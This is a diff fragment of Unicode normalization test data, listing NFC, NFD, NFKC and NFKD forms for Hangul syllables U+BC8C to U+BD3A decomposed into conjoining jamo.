+{ source: [0xBC8C], NFC: [0xBC8C], NFD: [0x1107, 0x1165, 0x11AF], NFKC: [0xBC8C], NFKD: [0x1107, 0x1165, 0x11AF] },
+{ source: [0xBC8D], NFC: [0xBC8D], NFD: [0x1107, 0x1165, 0x11B0], NFKC: [0xBC8D], NFKD: [0x1107, 0x1165, 0x11B0] },
+{ source: [0xBC8E], NFC: [0xBC8E], NFD: [0x1107, 0x1165, 0x11B1], NFKC: [0xBC8E], NFKD: [0x1107, 0x1165, 0x11B1] },
+{ source: [0xBC8F], NFC: [0xBC8F], NFD: [0x1107, 0x1165, 0x11B2], NFKC: [0xBC8F], NFKD: [0x1107, 0x1165, 0x11B2] },
+{ source: [0xBC90], NFC: [0xBC90], NFD: [0x1107, 0x1165, 0x11B3], NFKC: [0xBC90], NFKD: [0x1107, 0x1165, 0x11B3] },
+{ source: [0xBC91], NFC: [0xBC91], NFD: [0x1107, 0x1165, 0x11B4], NFKC: [0xBC91], NFKD: [0x1107, 0x1165, 0x11B4] },
+{ source: [0xBC92], NFC: [0xBC92], NFD: [0x1107, 0x1165, 0x11B5], NFKC: [0xBC92], NFKD: [0x1107, 0x1165, 0x11B5] },
+{ source: [0xBC93], NFC: [0xBC93], NFD: [0x1107, 0x1165, 0x11B6], NFKC: [0xBC93], NFKD: [0x1107, 0x1165, 0x11B6] },
+{ source: [0xBC94], NFC: [0xBC94], NFD: [0x1107, 0x1165, 0x11B7], NFKC: [0xBC94], NFKD: [0x1107, 0x1165, 0x11B7] },
+{ source: [0xBC95], NFC: [0xBC95], NFD: [0x1107, 0x1165, 0x11B8], NFKC: [0xBC95], NFKD: [0x1107, 0x1165, 0x11B8] },
+{ source: [0xBC96], NFC: [0xBC96], NFD: [0x1107, 0x1165, 0x11B9], NFKC: [0xBC96], NFKD: [0x1107, 0x1165, 0x11B9] },
+{ source: [0xBC97], NFC: [0xBC97], NFD: [0x1107, 0x1165, 0x11BA], NFKC: [0xBC97], NFKD: [0x1107, 0x1165, 0x11BA] },
+{ source: [0xBC98], NFC: [0xBC98], NFD: [0x1107, 0x1165, 0x11BB], NFKC: [0xBC98], NFKD: [0x1107, 0x1165, 0x11BB] },
+{ source: [0xBC99], NFC: [0xBC99], NFD: [0x1107, 0x1165, 0x11BC], NFKC: [0xBC99], NFKD: [0x1107, 0x1165, 0x11BC] },
+{ source: [0xBC9A], NFC: [0xBC9A], NFD: [0x1107, 0x1165, 0x11BD], NFKC: [0xBC9A], NFKD: [0x1107, 0x1165, 0x11BD] },
+{ source: [0xBC9B], NFC: [0xBC9B], NFD: [0x1107, 0x1165, 0x11BE], NFKC: [0xBC9B], NFKD: [0x1107, 0x1165, 0x11BE] },
+{ source: [0xBC9C], NFC: [0xBC9C], NFD: [0x1107, 0x1165, 0x11BF], NFKC: [0xBC9C], NFKD: [0x1107, 0x1165, 0x11BF] },
+{ source: [0xBC9D], NFC: [0xBC9D], NFD: [0x1107, 0x1165, 0x11C0], NFKC: [0xBC9D], NFKD: [0x1107, 0x1165, 0x11C0] },
+{ source: [0xBC9E], NFC: [0xBC9E], NFD: [0x1107, 0x1165, 0x11C1], NFKC: [0xBC9E], NFKD: [0x1107, 0x1165, 0x11C1] },
+{ source: [0xBC9F], NFC: [0xBC9F], NFD: [0x1107, 0x1165, 0x11C2], NFKC: [0xBC9F], NFKD: [0x1107, 0x1165, 0x11C2] },
+{ source: [0xBCA0], NFC: [0xBCA0], NFD: [0x1107, 0x1166], NFKC: [0xBCA0], NFKD: [0x1107, 0x1166] },
+{ source: [0xBCA1], NFC: [0xBCA1], NFD: [0x1107, 0x1166, 0x11A8], NFKC: [0xBCA1], NFKD: [0x1107, 0x1166, 0x11A8] },
+{ source: [0xBCA2], NFC: [0xBCA2], NFD: [0x1107, 0x1166, 0x11A9], NFKC: [0xBCA2], NFKD: [0x1107, 0x1166, 0x11A9] },
+{ source: [0xBCA3], NFC: [0xBCA3], NFD: [0x1107, 0x1166, 0x11AA], NFKC: [0xBCA3], NFKD: [0x1107, 0x1166, 0x11AA] },
+{ source: [0xBCA4], NFC: [0xBCA4], NFD: [0x1107, 0x1166, 0x11AB], NFKC: [0xBCA4], NFKD: [0x1107, 0x1166, 0x11AB] },
+{ source: [0xBCA5], NFC: [0xBCA5], NFD: [0x1107, 0x1166, 0x11AC], NFKC: [0xBCA5], NFKD: [0x1107, 0x1166, 0x11AC] },
+{ source: [0xBCA6], NFC: [0xBCA6], NFD: [0x1107, 0x1166, 0x11AD], NFKC: [0xBCA6], NFKD: [0x1107, 0x1166, 0x11AD] },
+{ source: [0xBCA7], NFC: [0xBCA7], NFD: [0x1107, 0x1166, 0x11AE], NFKC: [0xBCA7], NFKD: [0x1107, 0x1166, 0x11AE] },
+{ source: [0xBCA8], NFC: [0xBCA8], NFD: [0x1107, 0x1166, 0x11AF], NFKC: [0xBCA8], NFKD: [0x1107, 0x1166, 0x11AF] },
+{ source: [0xBCA9], NFC: [0xBCA9], NFD: [0x1107, 0x1166, 0x11B0], NFKC: [0xBCA9], NFKD: [0x1107, 0x1166, 0x11B0] },
+{ source: [0xBCAA], NFC: [0xBCAA], NFD: [0x1107, 0x1166, 0x11B1], NFKC: [0xBCAA], NFKD: [0x1107, 0x1166, 0x11B1] },
+{ source: [0xBCAB], NFC: [0xBCAB], NFD: [0x1107, 0x1166, 0x11B2], NFKC: [0xBCAB], NFKD: [0x1107, 0x1166, 0x11B2] },
+{ source: [0xBCAC], NFC: [0xBCAC], NFD: [0x1107, 0x1166, 0x11B3], NFKC: [0xBCAC], NFKD: [0x1107, 0x1166, 0x11B3] },
+{ source: [0xBCAD], NFC: [0xBCAD], NFD: [0x1107, 0x1166, 0x11B4], NFKC: [0xBCAD], NFKD: [0x1107, 0x1166, 0x11B4] },
+{ source: [0xBCAE], NFC: [0xBCAE], NFD: [0x1107, 0x1166, 0x11B5], NFKC: [0xBCAE], NFKD: [0x1107, 0x1166, 0x11B5] },
+{ source: [0xBCAF], NFC: [0xBCAF], NFD: [0x1107, 0x1166, 0x11B6], NFKC: [0xBCAF], NFKD: [0x1107, 0x1166, 0x11B6] },
+{ source: [0xBCB0], NFC: [0xBCB0], NFD: [0x1107, 0x1166, 0x11B7], NFKC: [0xBCB0], NFKD: [0x1107, 0x1166, 0x11B7] },
+{ source: [0xBCB1], NFC: [0xBCB1], NFD: [0x1107, 0x1166, 0x11B8], NFKC: [0xBCB1], NFKD: [0x1107, 0x1166, 0x11B8] },
+{ source: [0xBCB2], NFC: [0xBCB2], NFD: [0x1107, 0x1166, 0x11B9], NFKC: [0xBCB2], NFKD: [0x1107, 0x1166, 0x11B9] },
+{ source: [0xBCB3], NFC: [0xBCB3], NFD: [0x1107, 0x1166, 0x11BA], NFKC: [0xBCB3], NFKD: [0x1107, 0x1166, 0x11BA] },
+{ source: [0xBCB4], NFC: [0xBCB4], NFD: [0x1107, 0x1166, 0x11BB], NFKC: [0xBCB4], NFKD: [0x1107, 0x1166, 0x11BB] },
+{ source: [0xBCB5], NFC: [0xBCB5], NFD: [0x1107, 0x1166, 0x11BC], NFKC: [0xBCB5], NFKD: [0x1107, 0x1166, 0x11BC] },
+{ source: [0xBCB6], NFC: [0xBCB6], NFD: [0x1107, 0x1166, 0x11BD], NFKC: [0xBCB6], NFKD: [0x1107, 0x1166, 0x11BD] },
+{ source: [0xBCB7], NFC: [0xBCB7], NFD: [0x1107, 0x1166, 0x11BE], NFKC: [0xBCB7], NFKD: [0x1107, 0x1166, 0x11BE] },
+{ source: [0xBCB8], NFC: [0xBCB8], NFD: [0x1107, 0x1166, 0x11BF], NFKC: [0xBCB8], NFKD: [0x1107, 0x1166, 0x11BF] },
+{ source: [0xBCB9], NFC: [0xBCB9], NFD: [0x1107, 0x1166, 0x11C0], NFKC: [0xBCB9], NFKD: [0x1107, 0x1166, 0x11C0] },
+{ source: [0xBCBA], NFC: [0xBCBA], NFD: [0x1107, 0x1166, 0x11C1], NFKC: [0xBCBA], NFKD: [0x1107, 0x1166, 0x11C1] },
+{ source: [0xBCBB], NFC: [0xBCBB], NFD: [0x1107, 0x1166, 0x11C2], NFKC: [0xBCBB], NFKD: [0x1107, 0x1166, 0x11C2] },
+{ source: [0xBCBC], NFC: [0xBCBC], NFD: [0x1107, 0x1167], NFKC: [0xBCBC], NFKD: [0x1107, 0x1167] },
+{ source: [0xBCBD], NFC: [0xBCBD], NFD: [0x1107, 0x1167, 0x11A8], NFKC: [0xBCBD], NFKD: [0x1107, 0x1167, 0x11A8] },
+{ source: [0xBCBE], NFC: [0xBCBE], NFD: [0x1107, 0x1167, 0x11A9], NFKC: [0xBCBE], NFKD: [0x1107, 0x1167, 0x11A9] },
+{ source: [0xBCBF], NFC: [0xBCBF], NFD: [0x1107, 0x1167, 0x11AA], NFKC: [0xBCBF], NFKD: [0x1107, 0x1167, 0x11AA] },
+{ source: [0xBCC0], NFC: [0xBCC0], NFD: [0x1107, 0x1167, 0x11AB], NFKC: [0xBCC0], NFKD: [0x1107, 0x1167, 0x11AB] },
+{ source: [0xBCC1], NFC: [0xBCC1], NFD: [0x1107, 0x1167, 0x11AC], NFKC: [0xBCC1], NFKD: [0x1107, 0x1167, 0x11AC] },
+{ source: [0xBCC2], NFC: [0xBCC2], NFD: [0x1107, 0x1167, 0x11AD], NFKC: [0xBCC2], NFKD: [0x1107, 0x1167, 0x11AD] },
+{ source: [0xBCC3], NFC: [0xBCC3], NFD: [0x1107, 0x1167, 0x11AE], NFKC: [0xBCC3], NFKD: [0x1107, 0x1167, 0x11AE] },
+{ source: [0xBCC4], NFC: [0xBCC4], NFD: [0x1107, 0x1167, 0x11AF], NFKC: [0xBCC4], NFKD: [0x1107, 0x1167, 0x11AF] },
+{ source: [0xBCC5], NFC: [0xBCC5], NFD: [0x1107, 0x1167, 0x11B0], NFKC: [0xBCC5], NFKD: [0x1107, 0x1167, 0x11B0] },
+{ source: [0xBCC6], NFC: [0xBCC6], NFD: [0x1107, 0x1167, 0x11B1], NFKC: [0xBCC6], NFKD: [0x1107, 0x1167, 0x11B1] },
+{ source: [0xBCC7], NFC: [0xBCC7], NFD: [0x1107, 0x1167, 0x11B2], NFKC: [0xBCC7], NFKD: [0x1107, 0x1167, 0x11B2] },
+{ source: [0xBCC8], NFC: [0xBCC8], NFD: [0x1107, 0x1167, 0x11B3], NFKC: [0xBCC8], NFKD: [0x1107, 0x1167, 0x11B3] },
+{ source: [0xBCC9], NFC: [0xBCC9], NFD: [0x1107, 0x1167, 0x11B4], NFKC: [0xBCC9], NFKD: [0x1107, 0x1167, 0x11B4] },
+{ source: [0xBCCA], NFC: [0xBCCA], NFD: [0x1107, 0x1167, 0x11B5], NFKC: [0xBCCA], NFKD: [0x1107, 0x1167, 0x11B5] },
+{ source: [0xBCCB], NFC: [0xBCCB], NFD: [0x1107, 0x1167, 0x11B6], NFKC: [0xBCCB], NFKD: [0x1107, 0x1167, 0x11B6] },
+{ source: [0xBCCC], NFC: [0xBCCC], NFD: [0x1107, 0x1167, 0x11B7], NFKC: [0xBCCC], NFKD: [0x1107, 0x1167, 0x11B7] },
+{ source: [0xBCCD], NFC: [0xBCCD], NFD: [0x1107, 0x1167, 0x11B8], NFKC: [0xBCCD], NFKD: [0x1107, 0x1167, 0x11B8] },
+{ source: [0xBCCE], NFC: [0xBCCE], NFD: [0x1107, 0x1167, 0x11B9], NFKC: [0xBCCE], NFKD: [0x1107, 0x1167, 0x11B9] },
+{ source: [0xBCCF], NFC: [0xBCCF], NFD: [0x1107, 0x1167, 0x11BA], NFKC: [0xBCCF], NFKD: [0x1107, 0x1167, 0x11BA] },
+{ source: [0xBCD0], NFC: [0xBCD0], NFD: [0x1107, 0x1167, 0x11BB], NFKC: [0xBCD0], NFKD: [0x1107, 0x1167, 0x11BB] },
+{ source: [0xBCD1], NFC: [0xBCD1], NFD: [0x1107, 0x1167, 0x11BC], NFKC: [0xBCD1], NFKD: [0x1107, 0x1167, 0x11BC] },
+{ source: [0xBCD2], NFC: [0xBCD2], NFD: [0x1107, 0x1167, 0x11BD], NFKC: [0xBCD2], NFKD: [0x1107, 0x1167, 0x11BD] },
+{ source: [0xBCD3], NFC: [0xBCD3], NFD: [0x1107, 0x1167, 0x11BE], NFKC: [0xBCD3], NFKD: [0x1107, 0x1167, 0x11BE] },
+{ source: [0xBCD4], NFC: [0xBCD4], NFD: [0x1107, 0x1167, 0x11BF], NFKC: [0xBCD4], NFKD: [0x1107, 0x1167, 0x11BF] },
+{ source: [0xBCD5], NFC: [0xBCD5], NFD: [0x1107, 0x1167, 0x11C0], NFKC: [0xBCD5], NFKD: [0x1107, 0x1167, 0x11C0] },
+{ source: [0xBCD6], NFC: [0xBCD6], NFD: [0x1107, 0x1167, 0x11C1], NFKC: [0xBCD6], NFKD: [0x1107, 0x1167, 0x11C1] },
+{ source: [0xBCD7], NFC: [0xBCD7], NFD: [0x1107, 0x1167, 0x11C2], NFKC: [0xBCD7], NFKD: [0x1107, 0x1167, 0x11C2] },
+{ source: [0xBCD8], NFC: [0xBCD8], NFD: [0x1107, 0x1168], NFKC: [0xBCD8], NFKD: [0x1107, 0x1168] },
+{ source: [0xBCD9], NFC: [0xBCD9], NFD: [0x1107, 0x1168, 0x11A8], NFKC: [0xBCD9], NFKD: [0x1107, 0x1168, 0x11A8] },
+{ source: [0xBCDA], NFC: [0xBCDA], NFD: [0x1107, 0x1168, 0x11A9], NFKC: [0xBCDA], NFKD: [0x1107, 0x1168, 0x11A9] },
+{ source: [0xBCDB], NFC: [0xBCDB], NFD: [0x1107, 0x1168, 0x11AA], NFKC: [0xBCDB], NFKD: [0x1107, 0x1168, 0x11AA] },
+{ source: [0xBCDC], NFC: [0xBCDC], NFD: [0x1107, 0x1168, 0x11AB], NFKC: [0xBCDC], NFKD: [0x1107, 0x1168, 0x11AB] },
+{ source: [0xBCDD], NFC: [0xBCDD], NFD: [0x1107, 0x1168, 0x11AC], NFKC: [0xBCDD], NFKD: [0x1107, 0x1168, 0x11AC] },
+{ source: [0xBCDE], NFC: [0xBCDE], NFD: [0x1107, 0x1168, 0x11AD], NFKC: [0xBCDE], NFKD: [0x1107, 0x1168, 0x11AD] },
+{ source: [0xBCDF], NFC: [0xBCDF], NFD: [0x1107, 0x1168, 0x11AE], NFKC: [0xBCDF], NFKD: [0x1107, 0x1168, 0x11AE] },
+{ source: [0xBCE0], NFC: [0xBCE0], NFD: [0x1107, 0x1168, 0x11AF], NFKC: [0xBCE0], NFKD: [0x1107, 0x1168, 0x11AF] },
+{ source: [0xBCE1], NFC: [0xBCE1], NFD: [0x1107, 0x1168, 0x11B0], NFKC: [0xBCE1], NFKD: [0x1107, 0x1168, 0x11B0] },
+{ source: [0xBCE2], NFC: [0xBCE2], NFD: [0x1107, 0x1168, 0x11B1], NFKC: [0xBCE2], NFKD: [0x1107, 0x1168, 0x11B1] },
+{ source: [0xBCE3], NFC: [0xBCE3], NFD: [0x1107, 0x1168, 0x11B2], NFKC: [0xBCE3], NFKD: [0x1107, 0x1168, 0x11B2] },
+{ source: [0xBCE4], NFC: [0xBCE4], NFD: [0x1107, 0x1168, 0x11B3], NFKC: [0xBCE4], NFKD: [0x1107, 0x1168, 0x11B3] },
+{ source: [0xBCE5], NFC: [0xBCE5], NFD: [0x1107, 0x1168, 0x11B4], NFKC: [0xBCE5], NFKD: [0x1107, 0x1168, 0x11B4] },
+{ source: [0xBCE6], NFC: [0xBCE6], NFD: [0x1107, 0x1168, 0x11B5], NFKC: [0xBCE6], NFKD: [0x1107, 0x1168, 0x11B5] },
+{ source: [0xBCE7], NFC: [0xBCE7], NFD: [0x1107, 0x1168, 0x11B6], NFKC: [0xBCE7], NFKD: [0x1107, 0x1168, 0x11B6] },
+{ source: [0xBCE8], NFC: [0xBCE8], NFD: [0x1107, 0x1168, 0x11B7], NFKC: [0xBCE8], NFKD: [0x1107, 0x1168, 0x11B7] },
+{ source: [0xBCE9], NFC: [0xBCE9], NFD: [0x1107, 0x1168, 0x11B8], NFKC: [0xBCE9], NFKD: [0x1107, 0x1168, 0x11B8] },
+{ source: [0xBCEA], NFC: [0xBCEA], NFD: [0x1107, 0x1168, 0x11B9], NFKC: [0xBCEA], NFKD: [0x1107, 0x1168, 0x11B9] },
+{ source: [0xBCEB], NFC: [0xBCEB], NFD: [0x1107, 0x1168, 0x11BA], NFKC: [0xBCEB], NFKD: [0x1107, 0x1168, 0x11BA] },
+{ source: [0xBCEC], NFC: [0xBCEC], NFD: [0x1107, 0x1168, 0x11BB], NFKC: [0xBCEC], NFKD: [0x1107, 0x1168, 0x11BB] },
+{ source: [0xBCED], NFC: [0xBCED], NFD: [0x1107, 0x1168, 0x11BC], NFKC: [0xBCED], NFKD: [0x1107, 0x1168, 0x11BC] },
+{ source: [0xBCEE], NFC: [0xBCEE], NFD: [0x1107, 0x1168, 0x11BD], NFKC: [0xBCEE], NFKD: [0x1107, 0x1168, 0x11BD] },
+{ source: [0xBCEF], NFC: [0xBCEF], NFD: [0x1107, 0x1168, 0x11BE], NFKC: [0xBCEF], NFKD: [0x1107, 0x1168, 0x11BE] },
+{ source: [0xBCF0], NFC: [0xBCF0], NFD: [0x1107, 0x1168, 0x11BF], NFKC: [0xBCF0], NFKD: [0x1107, 0x1168, 0x11BF] },
+{ source: [0xBCF1], NFC: [0xBCF1], NFD: [0x1107, 0x1168, 0x11C0], NFKC: [0xBCF1], NFKD: [0x1107, 0x1168, 0x11C0] },
+{ source: [0xBCF2], NFC: [0xBCF2], NFD: [0x1107, 0x1168, 0x11C1], NFKC: [0xBCF2], NFKD: [0x1107, 0x1168, 0x11C1] },
+{ source: [0xBCF3], NFC: [0xBCF3], NFD: [0x1107, 0x1168, 0x11C2], NFKC: [0xBCF3], NFKD: [0x1107, 0x1168, 0x11C2] },
+{ source: [0xBCF4], NFC: [0xBCF4], NFD: [0x1107, 0x1169], NFKC: [0xBCF4], NFKD: [0x1107, 0x1169] },
+{ source: [0xBCF5], NFC: [0xBCF5], NFD: [0x1107, 0x1169, 0x11A8], NFKC: [0xBCF5], NFKD: [0x1107, 0x1169, 0x11A8] },
+{ source: [0xBCF6], NFC: [0xBCF6], NFD: [0x1107, 0x1169, 0x11A9], NFKC: [0xBCF6], NFKD: [0x1107, 0x1169, 0x11A9] },
+{ source: [0xBCF7], NFC: [0xBCF7], NFD: [0x1107, 0x1169, 0x11AA], NFKC: [0xBCF7], NFKD: [0x1107, 0x1169, 0x11AA] },
+{ source: [0xBCF8], NFC: [0xBCF8], NFD: [0x1107, 0x1169, 0x11AB], NFKC: [0xBCF8], NFKD: [0x1107, 0x1169, 0x11AB] },
+{ source: [0xBCF9], NFC: [0xBCF9], NFD: [0x1107, 0x1169, 0x11AC], NFKC: [0xBCF9], NFKD: [0x1107, 0x1169, 0x11AC] },
+{ source: [0xBCFA], NFC: [0xBCFA], NFD: [0x1107, 0x1169, 0x11AD], NFKC: [0xBCFA], NFKD: [0x1107, 0x1169, 0x11AD] },
+{ source: [0xBCFB], NFC: [0xBCFB], NFD: [0x1107, 0x1169, 0x11AE], NFKC: [0xBCFB], NFKD: [0x1107, 0x1169, 0x11AE] },
+{ source: [0xBCFC], NFC: [0xBCFC], NFD: [0x1107, 0x1169, 0x11AF], NFKC: [0xBCFC], NFKD: [0x1107, 0x1169, 0x11AF] },
+{ source: [0xBCFD], NFC: [0xBCFD], NFD: [0x1107, 0x1169, 0x11B0], NFKC: [0xBCFD], NFKD: [0x1107, 0x1169, 0x11B0] },
+{ source: [0xBCFE], NFC: [0xBCFE], NFD: [0x1107, 0x1169, 0x11B1], NFKC: [0xBCFE], NFKD: [0x1107, 0x1169, 0x11B1] },
+{ source: [0xBCFF], NFC: [0xBCFF], NFD: [0x1107, 0x1169, 0x11B2], NFKC: [0xBCFF], NFKD: [0x1107, 0x1169, 0x11B2] },
+{ source: [0xBD00], NFC: [0xBD00], NFD: [0x1107, 0x1169, 0x11B3], NFKC: [0xBD00], NFKD: [0x1107, 0x1169, 0x11B3] },
+{ source: [0xBD01], NFC: [0xBD01], NFD: [0x1107, 0x1169, 0x11B4], NFKC: [0xBD01], NFKD: [0x1107, 0x1169, 0x11B4] },
+{ source: [0xBD02], NFC: [0xBD02], NFD: [0x1107, 0x1169, 0x11B5], NFKC: [0xBD02], NFKD: [0x1107, 0x1169, 0x11B5] },
+{ source: [0xBD03], NFC: [0xBD03], NFD: [0x1107, 0x1169, 0x11B6], NFKC: [0xBD03], NFKD: [0x1107, 0x1169, 0x11B6] },
+{ source: [0xBD04], NFC: [0xBD04], NFD: [0x1107, 0x1169, 0x11B7], NFKC: [0xBD04], NFKD: [0x1107, 0x1169, 0x11B7] },
+{ source: [0xBD05], NFC: [0xBD05], NFD: [0x1107, 0x1169, 0x11B8], NFKC: [0xBD05], NFKD: [0x1107, 0x1169, 0x11B8] },
+{ source: [0xBD06], NFC: [0xBD06], NFD: [0x1107, 0x1169, 0x11B9], NFKC: [0xBD06], NFKD: [0x1107, 0x1169, 0x11B9] },
+{ source: [0xBD07], NFC: [0xBD07], NFD: [0x1107, 0x1169, 0x11BA], NFKC: [0xBD07], NFKD: [0x1107, 0x1169, 0x11BA] },
+{ source: [0xBD08], NFC: [0xBD08], NFD: [0x1107, 0x1169, 0x11BB], NFKC: [0xBD08], NFKD: [0x1107, 0x1169, 0x11BB] },
+{ source: [0xBD09], NFC: [0xBD09], NFD: [0x1107, 0x1169, 0x11BC], NFKC: [0xBD09], NFKD: [0x1107, 0x1169, 0x11BC] },
+{ source: [0xBD0A], NFC: [0xBD0A], NFD: [0x1107, 0x1169, 0x11BD], NFKC: [0xBD0A], NFKD: [0x1107, 0x1169, 0x11BD] },
+{ source: [0xBD0B], NFC: [0xBD0B], NFD: [0x1107, 0x1169, 0x11BE], NFKC: [0xBD0B], NFKD: [0x1107, 0x1169, 0x11BE] },
+{ source: [0xBD0C], NFC: [0xBD0C], NFD: [0x1107, 0x1169, 0x11BF], NFKC: [0xBD0C], NFKD: [0x1107, 0x1169, 0x11BF] },
+{ source: [0xBD0D], NFC: [0xBD0D], NFD: [0x1107, 0x1169, 0x11C0], NFKC: [0xBD0D], NFKD: [0x1107, 0x1169, 0x11C0] },
+{ source: [0xBD0E], NFC: [0xBD0E], NFD: [0x1107, 0x1169, 0x11C1], NFKC: [0xBD0E], NFKD: [0x1107, 0x1169, 0x11C1] },
+{ source: [0xBD0F], NFC: [0xBD0F], NFD: [0x1107, 0x1169, 0x11C2], NFKC: [0xBD0F], NFKD: [0x1107, 0x1169, 0x11C2] },
+{ source: [0xBD10], NFC: [0xBD10], NFD: [0x1107, 0x116A], NFKC: [0xBD10], NFKD: [0x1107, 0x116A] },
+{ source: [0xBD11], NFC: [0xBD11], NFD: [0x1107, 0x116A, 0x11A8], NFKC: [0xBD11], NFKD: [0x1107, 0x116A, 0x11A8] },
+{ source: [0xBD12], NFC: [0xBD12], NFD: [0x1107, 0x116A, 0x11A9], NFKC: [0xBD12], NFKD: [0x1107, 0x116A, 0x11A9] },
+{ source: [0xBD13], NFC: [0xBD13], NFD: [0x1107, 0x116A, 0x11AA], NFKC: [0xBD13], NFKD: [0x1107, 0x116A, 0x11AA] },
+{ source: [0xBD14], NFC: [0xBD14], NFD: [0x1107, 0x116A, 0x11AB], NFKC: [0xBD14], NFKD: [0x1107, 0x116A, 0x11AB] },
+{ source: [0xBD15], NFC: [0xBD15], NFD: [0x1107, 0x116A, 0x11AC], NFKC: [0xBD15], NFKD: [0x1107, 0x116A, 0x11AC] },
+{ source: [0xBD16], NFC: [0xBD16], NFD: [0x1107, 0x116A, 0x11AD], NFKC: [0xBD16], NFKD: [0x1107, 0x116A, 0x11AD] },
+{ source: [0xBD17], NFC: [0xBD17], NFD: [0x1107, 0x116A, 0x11AE], NFKC: [0xBD17], NFKD: [0x1107, 0x116A, 0x11AE] },
+{ source: [0xBD18], NFC: [0xBD18], NFD: [0x1107, 0x116A, 0x11AF], NFKC: [0xBD18], NFKD: [0x1107, 0x116A, 0x11AF] },
+{ source: [0xBD19], NFC: [0xBD19], NFD: [0x1107, 0x116A, 0x11B0], NFKC: [0xBD19], NFKD: [0x1107, 0x116A, 0x11B0] },
+{ source: [0xBD1A], NFC: [0xBD1A], NFD: [0x1107, 0x116A, 0x11B1], NFKC: [0xBD1A], NFKD: [0x1107, 0x116A, 0x11B1] },
+{ source: [0xBD1B], NFC: [0xBD1B], NFD: [0x1107, 0x116A, 0x11B2], NFKC: [0xBD1B], NFKD: [0x1107, 0x116A, 0x11B2] },
+{ source: [0xBD1C], NFC: [0xBD1C], NFD: [0x1107, 0x116A, 0x11B3], NFKC: [0xBD1C], NFKD: [0x1107, 0x116A, 0x11B3] },
+{ source: [0xBD1D], NFC: [0xBD1D], NFD: [0x1107, 0x116A, 0x11B4], NFKC: [0xBD1D], NFKD: [0x1107, 0x116A, 0x11B4] },
+{ source: [0xBD1E], NFC: [0xBD1E], NFD: [0x1107, 0x116A, 0x11B5], NFKC: [0xBD1E], NFKD: [0x1107, 0x116A, 0x11B5] },
+{ source: [0xBD1F], NFC: [0xBD1F], NFD: [0x1107, 0x116A, 0x11B6], NFKC: [0xBD1F], NFKD: [0x1107, 0x116A, 0x11B6] },
+{ source: [0xBD20], NFC: [0xBD20], NFD: [0x1107, 0x116A, 0x11B7], NFKC: [0xBD20], NFKD: [0x1107, 0x116A, 0x11B7] },
+{ source: [0xBD21], NFC: [0xBD21], NFD: [0x1107, 0x116A, 0x11B8], NFKC: [0xBD21], NFKD: [0x1107, 0x116A, 0x11B8] },
+{ source: [0xBD22], NFC: [0xBD22], NFD: [0x1107, 0x116A, 0x11B9], NFKC: [0xBD22], NFKD: [0x1107, 0x116A, 0x11B9] },
+{ source: [0xBD23], NFC: [0xBD23], NFD: [0x1107, 0x116A, 0x11BA], NFKC: [0xBD23], NFKD: [0x1107, 0x116A, 0x11BA] },
+{ source: [0xBD24], NFC: [0xBD24], NFD: [0x1107, 0x116A, 0x11BB], NFKC: [0xBD24], NFKD: [0x1107, 0x116A, 0x11BB] },
+{ source: [0xBD25], NFC: [0xBD25], NFD: [0x1107, 0x116A, 0x11BC], NFKC: [0xBD25], NFKD: [0x1107, 0x116A, 0x11BC] },
+{ source: [0xBD26], NFC: [0xBD26], NFD: [0x1107, 0x116A, 0x11BD], NFKC: [0xBD26], NFKD: [0x1107, 0x116A, 0x11BD] },
+{ source: [0xBD27], NFC: [0xBD27], NFD: [0x1107, 0x116A, 0x11BE], NFKC: [0xBD27], NFKD: [0x1107, 0x116A, 0x11BE] },
+{ source: [0xBD28], NFC: [0xBD28], NFD: [0x1107, 0x116A, 0x11BF], NFKC: [0xBD28], NFKD: [0x1107, 0x116A, 0x11BF] },
+{ source: [0xBD29], NFC: [0xBD29], NFD: [0x1107, 0x116A, 0x11C0], NFKC: [0xBD29], NFKD: [0x1107, 0x116A, 0x11C0] },
+{ source: [0xBD2A], NFC: [0xBD2A], NFD: [0x1107, 0x116A, 0x11C1], NFKC: [0xBD2A], NFKD: [0x1107, 0x116A, 0x11C1] },
+{ source: [0xBD2B], NFC: [0xBD2B], NFD: [0x1107, 0x116A, 0x11C2], NFKC: [0xBD2B], NFKD: [0x1107, 0x116A, 0x11C2] },
+{ source: [0xBD2C], NFC: [0xBD2C], NFD: [0x1107, 0x116B], NFKC: [0xBD2C], NFKD: [0x1107, 0x116B] },
+{ source: [0xBD2D], NFC: [0xBD2D], NFD: [0x1107, 0x116B, 0x11A8], NFKC: [0xBD2D], NFKD: [0x1107, 0x116B, 0x11A8] },
+{ source: [0xBD2E], NFC: [0xBD2E], NFD: [0x1107, 0x116B, 0x11A9], NFKC: [0xBD2E], NFKD: [0x1107, 0x116B, 0x11A9] },
+{ source: [0xBD2F], NFC: [0xBD2F], NFD: [0x1107, 0x116B, 0x11AA], NFKC: [0xBD2F], NFKD: [0x1107, 0x116B, 0x11AA] },
+{ source: [0xBD30], NFC: [0xBD30], NFD: [0x1107, 0x116B, 0x11AB], NFKC: [0xBD30], NFKD: [0x1107, 0x116B, 0x11AB] },
+{ source: [0xBD31], NFC: [0xBD31], NFD: [0x1107, 0x116B, 0x11AC], NFKC: [0xBD31], NFKD: [0x1107, 0x116B, 0x11AC] },
+{ source: [0xBD32], NFC: [0xBD32], NFD: [0x1107, 0x116B, 0x11AD], NFKC: [0xBD32], NFKD: [0x1107, 0x116B, 0x11AD] },
+{ source: [0xBD33], NFC: [0xBD33], NFD: [0x1107, 0x116B, 0x11AE], NFKC: [0xBD33], NFKD: [0x1107, 0x116B, 0x11AE] },
+{ source: [0xBD34], NFC: [0xBD34], NFD: [0x1107, 0x116B, 0x11AF], NFKC: [0xBD34], NFKD: [0x1107, 0x116B, 0x11AF] },
+{ source: [0xBD35], NFC: [0xBD35], NFD: [0x1107, 0x116B, 0x11B0], NFKC: [0xBD35], NFKD: [0x1107, 0x116B, 0x11B0] },
+{ source: [0xBD36], NFC: [0xBD36], NFD: [0x1107, 0x116B, 0x11B1], NFKC: [0xBD36], NFKD: [0x1107, 0x116B, 0x11B1] },
+{ source: [0xBD37], NFC: [0xBD37], NFD: [0x1107, 0x116B, 0x11B2], NFKC: [0xBD37], NFKD: [0x1107, 0x116B, 0x11B2] },
+{ source: [0xBD38], NFC: [0xBD38], NFD: [0x1107, 0x116B, 0x11B3], NFKC: [0xBD38], NFKD: [0x1107, 0x116B, 0x11B3] },
+{ source: [0xBD39], NFC: [0xBD39], NFD: [0x1107, 0x116B, 0x11B4], NFKC: [0xBD39], NFKD: [0x1107, 0x116B, 0x11B4] },
+{ source: [0xBD3A], NFC: [0xBD3A], NFD: [0x1107, 0x116B, 0x11B5], NFKC: [0xBD3A], NFKD: [0x1107, 0x116B, 0x11B5] },
